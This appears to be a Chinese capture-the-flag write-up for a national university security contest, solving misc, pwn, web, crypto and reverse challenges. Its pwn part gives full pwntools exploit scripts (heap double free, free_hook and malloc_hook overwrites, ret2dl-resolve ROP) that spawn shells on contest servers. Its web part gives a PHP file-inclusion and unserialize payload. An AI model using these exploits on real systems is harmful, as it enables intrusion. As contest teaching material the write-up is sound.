第十二届全国大学生信息安全竞赛初赛writeup
大佬的博客–>传送门
misc
签到
摄像头捕捉到三个人的脸即可
saleae
下载回来一个saleae.logicdata
文件,经搜索发现这个saleae的可以打开的文件类型,官网地址–>传送门,打开文件只发现一些波形
网上搜索资料看到一篇教程通过xor两条数据流得到信息,上面一条是当上面波形的电平为高电平且下面那条也是高电平时为1,下面那条是低电平则为0,如图
最后得到一串数据
011001100110110001100001011001110111101100110001001100100011000000110111001100010011001100111001001101110010110100110001001110010110010000110001001011010011010000111000011001010011011000101101011000100110010100111000011000110010110100110111001110000011010001100010001110000011100101100001001110010011010101100101001100000011011101111101
8个一组得到flag
usbasp
打开文件后在analyzer
里选择SPI
,设置选项最下面选择enable line is active hight
右下面可以明显看到flag导出即可
pwn
your-pwn
在函数sub_B35
里面,没有对index(v1)
进行检查,从而造成任意地址泄露和任意地址更改。直接改返回地址为one_gadget
即可
for ( i = 0; i <= 40; ++i )
{
puts("input index");
__isoc99_scanf("%d", &v1);
printf("now value(hex) %x\n", (unsigned int)v4[v1]);
puts("input new value");
__isoc99_scanf("%d", &v2);
v4[v1] = v2;
}
详细脚本如下:
from pwn import *
#context(os='linux',arch='amd64',aslr = 'False',log_level='debug')
local = 0
if local:
p = process("./pwn")
else:
p = remote("39.97.228.196",60007)
def pass_():
p.recvuntil("name")
p.sendline("Team233")
def change(index, addr):
for i in range(8):
p.recvuntil("index\n")
p.sendline(str(index+i))
p.recvuntil("now value(hex) ")
data = p.recvn(1)
#print("data = " + str(data))
p.recvuntil("input new value\n")
p.sendline(str(addr))
addr = addr >> 8
def leak(index):
addr = ""
for i in range(8):
p.recvuntil("index\n")
p.sendline(str(index+i))
p.recvuntil("now value(hex) ")
data = int(p.recvuntil("\n",drop=True),16)
if data > 300:
data = data - 0xffffff00
p.recvuntil("input new value\n")
p.sendline(str(data))
addr += chr(data)
addr = u64(addr)
return addr
def exp():
pass_()
#gdb.attach(p)addr = leak(0x158)
elf_base = addr - 0xb11
print '[*] elf_base :',hex(elf_base)
addr = leak(0x160+0x118)
libc_base = addr - 0x20830
one_shot = libc_base + 0xf02a4
print '[*] one_shot :',hex(one_shot)
print '[*] libc_base :',hex(libc_base)
pause()
change(0x158,one_shot)
p.sendline("no")
p.sendline("cat flag")
p.interactive()
exp()
daily
由于是%s
打印内 容,会一直打印遇到\x00
才会停止,而且add
的时候通过read
读入没有写入字符串后缀,所以可以利用这一点可以泄露libc
地址和heap
地址。泄露利用如下:
create(0x60,"a"*0x20)#0
create(0x60,"a"*0x20)#1
create(0x60,"b"*0x20)#2
delete(0)
delete(1)
create(0x60,"a")#0
show()
p.recvuntil("0 : a")
data = "\x00"+p.recvuntil("2",drop=True)
heap = u64(data.ljust(8,"\x00"))
print "[*]heap : ", hex(heap)
create(0x100,"a"*0x20)#1
create(0x100,"a"*0x20)#3
delete(1)
create(0x20,"a"*0x20)#1
create(0xd0,"a"*8)#4
show()
p.recvuntil("4 : aaaaaaaa")
data = p.recvn(6) + "\x00\x00"
libc_base = u64(data) - 0x3c4b78
然后利用free
的时候没有检查index(v1)
,漏洞点如下程序部分代码,造成UAF
分配到bss
上的chunk_list
,然后改free
就可以了 。
printf("Please enter the index of daily:");
read(0, &buf, 8uLL);
v1 = atoi(&buf);
if ( chunk[v1].ptr )
{
free((void *)chunk[v1].ptr);
chunk[v1].ptr = 0LL;
LODWORD(chunk[v1].len) = 0;
puts("remove successful!!");
--chunk_num;
}
然后利用Double free
得到bss
段上的chunk_list
,然后控制chunk
,实现任意地址写,然后我们写free_hook
地址为system
,再free
的时候就可以getshell
了。在这之前,我们尝试了申请到malloc_hook
前面然后把malloc_hoook
覆盖为one_gadget
,但是没有一个one_gadget
可以成功,主要是因为条件没有满足,后来就直接free_hook
了。详细脚本如下:
from pwn import *
#context(os='linux',arch='amd64',aslr = 'False',log_level='debug')
local = 0
if local:
p = process("./pwn")
else:
p = remote("39.97.228.196",60006)
def show():
p.recvuntil(":")
p.sendline("1")
def create(lens,content):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(lens))
p.recv()
p.send(content)
def change(index,content):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(index))
p.recv()
p.send(content)
def delete(index):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(":")
p.sendline(str(index))
chunk_list = 0x602060
def exp():
create(0x60,"a"*0x20)#0
create(0x60,"a"*0x20)#1
create(0x60,"b"*0x20)#2
delete(0)
delete(1)
create(0x60,"a")#0
show()
p.recvuntil("0 : a")
data = "\x00"+p.recvuntil("2",drop=True)
heap = u64(data.ljust(8,"\x00"))
print "[*]heap : ", hex(heap)
create(0x100,"a"*0x20)#1
create(0x100,"a"*0x20)#3
delete(1)
create(0x20,"a"*0x20)#1
create(0xd0,"a"*8)#4
show()
p.recvuntil("4 : aaaaaaaa")
data = p.recvn(6) + "\x00\x00"
libc_base = u64(data) - 0x3c4b78
malloc_hook = libc_base + 0x3c4b10
one_shot = libc_base + 0xf02a4
free_hook = libc_base + 0x3c67a8
system = libc_base + 0x45390
print '[*]libc_base : ',hex(libc_base)
print '[*]malloc_hook : ',hex(malloc_hook)
print '[*]free_hook : ',hex(free_hook)
print '[*]one_shot : ',hex(one_shot)
print '[*]system : ',hex(system)
index = (heap - chunk_list + 8)/0x10 + 15
print '[*]index : ',hex(index)
change(2,"a"*8+p64(heap+0x10))
create(0x71,"h"*0x71)#5
create(0x60,"e"*0x60) #6
create(0x60,"b"*0x60) #7
#gdb.attach(p)
delete(6)
delete(7)
delete(index)
create(0x60,p64(0x6020a8)) #6
create(0x60,"c"*0x60) #7
create(0x60,"/bin/sh\x00") #8
payload = p64(free_hook) + p64(0x20) + p64(heap+0x10) payload = payload.ljust(0x60,"\x00")
create(0x60, payload) #9
show()
change(5,p64(system))
delete(6)
p.recv()
#gdb.attach(p)
p.interactive()
exp()
最后成功 getshell
babypwn
直接read
读入0x100
直接造成栈溢出,但是这题的难点在于没有泄露函数,不能直接return to libc
,所以这里利用ret2_dl_runtime_resolve
,之前做过0ctf2018的babystack 跟这个类似,先是尝试了roputils
库实现,后来发现有点问题总是调不对,后来直接手工干了一波。操作如下:
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
#p = process('./pwn')
p = remote(ip,port)
elf = ELF('./pwn')
read_plt = elf.plt['read']
alarm_plt = elf.plt['alarm']
pop_ebp_ret = 0x080485db
ppp_ret = 0x080485d9
pp_ebp_ret = 0x080485da
leave_ret = 0x08048448
stack_size = 0x800
bss_addr = 0x0804a040 #readelf -S babystack | grep ".bss" base_stage = bss_addr + stack_size
plt_0 = 0x8048380 # objdump -d -j .plt babystack
rel_plt = 0x804833c # objdump -s -j .rel.plt babystack index_offset = (base_stage + 28) - rel_plt
alarm_got = elf.got['alarm']
print "alarm_got: ",hex(alarm_got)
print "alarm_plt: ",hex(alarm_plt)
print "read_plt: ",hex(read_plt)
dynsym = 0x80481DC
dynstr = 0x804827C
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = index_dynsym << 8 | 0x7
fake_reloc = p32(alarm_got) + p32(r_info)
st_name = fake_sym_addr + 0x10 - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload = 'a'*0x28 + p32(bss_addr)
payload += p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_addr) + p32(36)
#raw_input("go:")
p.send(payload)
#fake stack 1 bss_addr
payload1 = 'aaaa' #pop ebp
payload1 += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(base_stage) + p32(100) payload1 += p32(pop_ebp_ret) + p32(base_stage) #fake stack again
payload1 += p32(leave_ret) #leave: mov esp,ebp; pop ebp
p.send(payload1)
cmd = "/bin/sh"
#fake stack 2 base_stage
payload2 = 'bbbb'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'aaaa'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc #base_stage+28
payload2 += 'b' * align
payload2 += fake_sym #base_stage+36
payload2 += "system\x00"
payload2 += 'a' * (80 - len(payload2))
payload2 += cmd +'\x00'
#payload2 += 'a' * (100 - len(payload2))
print len(payload2)
sleep(1)
p.sendline(payload2)
#p.sendline("icq0030af22ece42d03523c08138525f")
p.interactive()
double
由于这个对比,只要输入的data
相同则不会分配堆块给data
,造成两个指针指向同一个data
。只要申请两个相同内容大小为smallbin
,free
掉 一个指针,show
另一个指针即可获得libc
的地址。同理只要free
掉其中一个,在对另一个相同指向的指针进行edit
,就可以改变fd
。将fd
改成malloc_hook
,再将malloc_hook
的值改成one_gadget
即可getshell。
详细脚本如下:
from pwn import *
#context(os='linux',arch='amd64',aslr = 'False',log_level='debug')
local = 0
if local:
p = process("./pwn")
else:
p = remote("39.97.228.196",60004)
def create(content):
p.recvuntil("> ")
p.sendline("1")
sleep(0.1)
p.sendline(content)
def show(index):
p.recvuntil("> ")
p.sendline("2")
p.recv()
p.sendline(str(index))
def edit(index,content):
p.recvuntil("> ")
p.sendline("3")
p.recv()
p.sendline(str(index))
sleep(0.1)
p.sendline(content)
def free(index):
p.recvuntil("> ")
p.sendline("4")
p.recv()
p.sendline(str(index))
def exp():
create("1"*0x60) #0
create("1"*0x60) #1
create("2"*0x60) #2
create("3"*0x80) #3
create("3"*0x80) #4
free(3)
show(4)
if local:
pass
else:
pass
#p.recvuntil("Info index: ")
#p.recvuntil("Info index: ")
data = u64(p.recvuntil("\n",drop=True)+"\x00\x00") libc_base = data - 0x3c4b78
malloc_hook = libc_base + 0x3c4b10
one_shot = libc_base + 0xf02a4 print("malloc_hook = " + str(hex(malloc_hook))) print("one_shot = " + str(hex(one_shot))) free(1)
free(2)
edit(0,p64(malloc_hook - 19))
create("4"*0x60)
create("5"*0x60)
payload = "a"*3 + p64(one_shot)
payload = payload.ljust(0x60,"\x00")
create(payload)
create("icq0030af22ece42d03523c08138525f")
p.interactive()
exp()
web
justSoso
http://d466a1d4c1214b3181516b834f0de419f413fd793ae942d0.changame.ichunqiu.com/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
通过文件包含拿到hint.php和index.php的源码
//index.php
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
//hint.php
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?
parse_url存在绕过的漏洞,例如:http://127.0.0.1///index.php
构造payload
<?php
class Handle{
private $handle;
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
function __construct($file){
$this->file = $file;
}
public function getFlag(){
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
$flag = new Flag('flag.php');
$flag ->token = &$flag -> token_flag;
$exp = new Handle($flag);
echo urlencode(serialize($exp)).PHP_EOL;
?>
得到以下payload
O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A10%3A%22token_flag%22%3BN%3Bs%3A5%3A%22token%22%3BR%3A4%3B%7D%7D
urldecode:
O:6:"Handle":1:{s:14:".Handle.handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:10:"token_flag";N;s:5:"token";R:4;}}
还要把一个的1改为2,不然会跳进Waking up函数
O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A10%3A%22token_flag%22%3BN%3Bs%3A5%3A%22token%22%3BR%3A4%3B%7D%7D
urldecode:
O:6:"Handle":2:{s:14:".Handle.handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:10:"token_flag";N;s:5:"token";R:4;}}
crypto
puzzle
question-0
a1:0xfa6
a2:0xbed
a3:0x9c7
a4:0xa00
part1
看到这三个数都是素数,猜想part1也可能是素数。google到如下的素数表
猜测part1所在位置,根据素数之间的间隔相等的原则,猜出part1为26365399
part2
脚本也可解:
import sympy as sy
x = sy.symbols('x')
print(sy.integrate(sy.exp(x)*pow(4 + sy.exp(x),2), (x, float(0), sy.log(2))))
rerult : 30.3333333333333
(1+30.3333333≈9*31+7+1)=100
part2 = (1+91+7+1)*77 =7700
hex(7700)=0x1e14
part3
part3 = 0x48d0
part4
part 4 =hex(40320)=0x9d80
warmup
本题是AES_CTR加密,而这个加密方式就是分组对明文进行异或,因为在同一次通信中其中的key和计数器不变,所以明文异或的密钥不会变,因此我们可以在通信过程可以通过输入不同的填充获得密钥。经过测试可以发现,32 个一个分组,flag有两个分组多一些,可以先填充5个让flag加填充满足有3_32个,得到第一个需要的密文data1,然后填充5+48获得第二个密文,第二个密文(data2)有6_32个bit。
则详细脚本如下:
data1 = "aefdd88c71194ba242a1e45c7a03f1e8715e11c3566607ee614c8cd4541f3688f0e5a35146b5cca393c8432dafdccee7"
data2 = "aefdd88c711e46a244bbbc0d2d51f1bb26085d90026603a234188c86184734dff4a9f40244e4c8a0c3cd407eab84d287ec9ece135f9a2a6bc7d427cd18e7c7995985df9d61d1b697d5472b073c27a6b0d5245917d3b1965248a6c228d6f260d4"
s1 = [data1[0:32],data1[32:32*2],data1[32*2:32*3]]
s2 = [data2[0:32],data2[32:32*2],data2[32*2:32*3],data2[32*3:32*4],data2[32*4:32*5], data2[32*5:32*6]]
ming="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
minghex=ming.encode("hex")
key1=int(s1[0],16)^int(minghex,16)
key2=int(s1[1],16)^int(minghex,16)
key3=int(s1[2],16)^int(minghex,16)
minghex0=int(s2[0],16)^key1
minghex1=int(s2[1],16)^key2
minghex2=int(s2[2],16)^key3
print hex(minghex0)[2:-1].decode("hex")
print hex(minghex1)[2:-1].decode("hex")
print hex(minghex2)[2:-1].decode("hex")
Asymmetric
看了一 下题目给的脚本,其实就是普通的RSA题 ,主要还是把n分解
剩下就 很简单了
Re
EasyGo
查看可执行文件格式
程序为Go语言编写,内部函数较为复杂,直接IDA动态调试,定位到sub_495150
函数,执行完sub_4886B0
,程序打印了字符串
在sub_48EB00
中, 程序调用了输入函数,继续执行,发现函数将一串字符串地址放到了rax
,并在接下来的几个CALL
中,对其进行了一些操作,这里没有仔细跟进,由于在sub_47E620
函数处存在跳转,猜测这里可能为相关的check
函数,重点关注其所对应的内存区域,可发现,执行完sub_47E620
函数后,可以在内存中直接拿到flag
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!